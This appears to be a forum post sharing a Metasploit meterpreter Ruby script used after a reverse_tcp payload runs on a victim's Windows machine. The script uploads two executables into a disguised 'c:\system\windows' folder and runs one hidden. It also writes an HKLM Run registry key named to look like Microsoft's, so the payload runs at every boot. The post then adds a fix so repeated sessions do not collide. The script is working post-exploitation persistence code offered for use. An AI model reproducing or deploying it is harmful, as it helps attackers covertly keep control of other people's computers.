A while ago BigMac uploaded a very interesting video where he uses windows/meterpreter/reverse_tcp payloads that have been converted into executables along with a nifty ruby script to produce some very interesting results. To make a long story short a payload/executable is executed on the victims computer which then sends a meterpreter session back to the attacker but also executes this script:
Code:
print_status("Creating directory")
client.fs.dir.mkdir("c:\\system")
client.fs.dir.mkdir("c:\\system\\windows")
client.fs.file.upload_file("c:\\system\\windows\\wingrab.exe" , "/root/Desktop/Exploits/Project/wingrab.exe")
client.fs.file.upload_file("c:\\system\\windows\\winview.exe" , "/root/Desktop/Exploits/Project/winview.exe")
client.sys.process.execute("c:\\system\\windows\\wingrab.exe", nil, {'Hidden' => 'true'})
key = "HKLM\\software\\microsoft\\windows\\currentversion\\run"
value = "MicrosoftETA"
data = "c:\\system\\windows\\wingrab.exe"
type = "REG_SZ"
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
open_key.set_value(value, client.sys.registry.type2str(type), data)
print_line("Successful")
Basically adding another payload/executable to the registry so every time the victim starts their computer this payload is executed. For some reason starting a couple of weeks ago the script started to cause the meterpreter sessions to get in the way of each other and now the script doesn't produce the right results anymore. HDM helped me fix this problem with only two lines of code, however a couple of days ago my BT3 vmware got corrupted and I lost all my data. Now I can't remember how HDM did it but I figured out a way to solve the problem a little bit less elegantly.
To keep from the meterpreter sessions from getting hung up and re running the above script just add the following lines to the beginning and end:
NOTE: Watch BigMac's video if any of this is confusing, or check out some other tutorials, this isn't really a how to, more like a contribution to other peoples work, that being said a lot of the file names/ directories could be different.
Code:
id = client.sys.process['wingrab.exe']
if (id == nil)
....code from above....
end
This should fix the problem. When I have more time I'm going to re write this post so that it makes a little bit more sense. I just thought I would throw it out there to see if anyone else is having this issue of the sessions getting hung up without my addition. Hope this helps someone. Thanks for reading.
*KMDave I'd like to try and recreate the above problem with someone else. PM me if you want to try it out.
Originally Posted by AnActivist
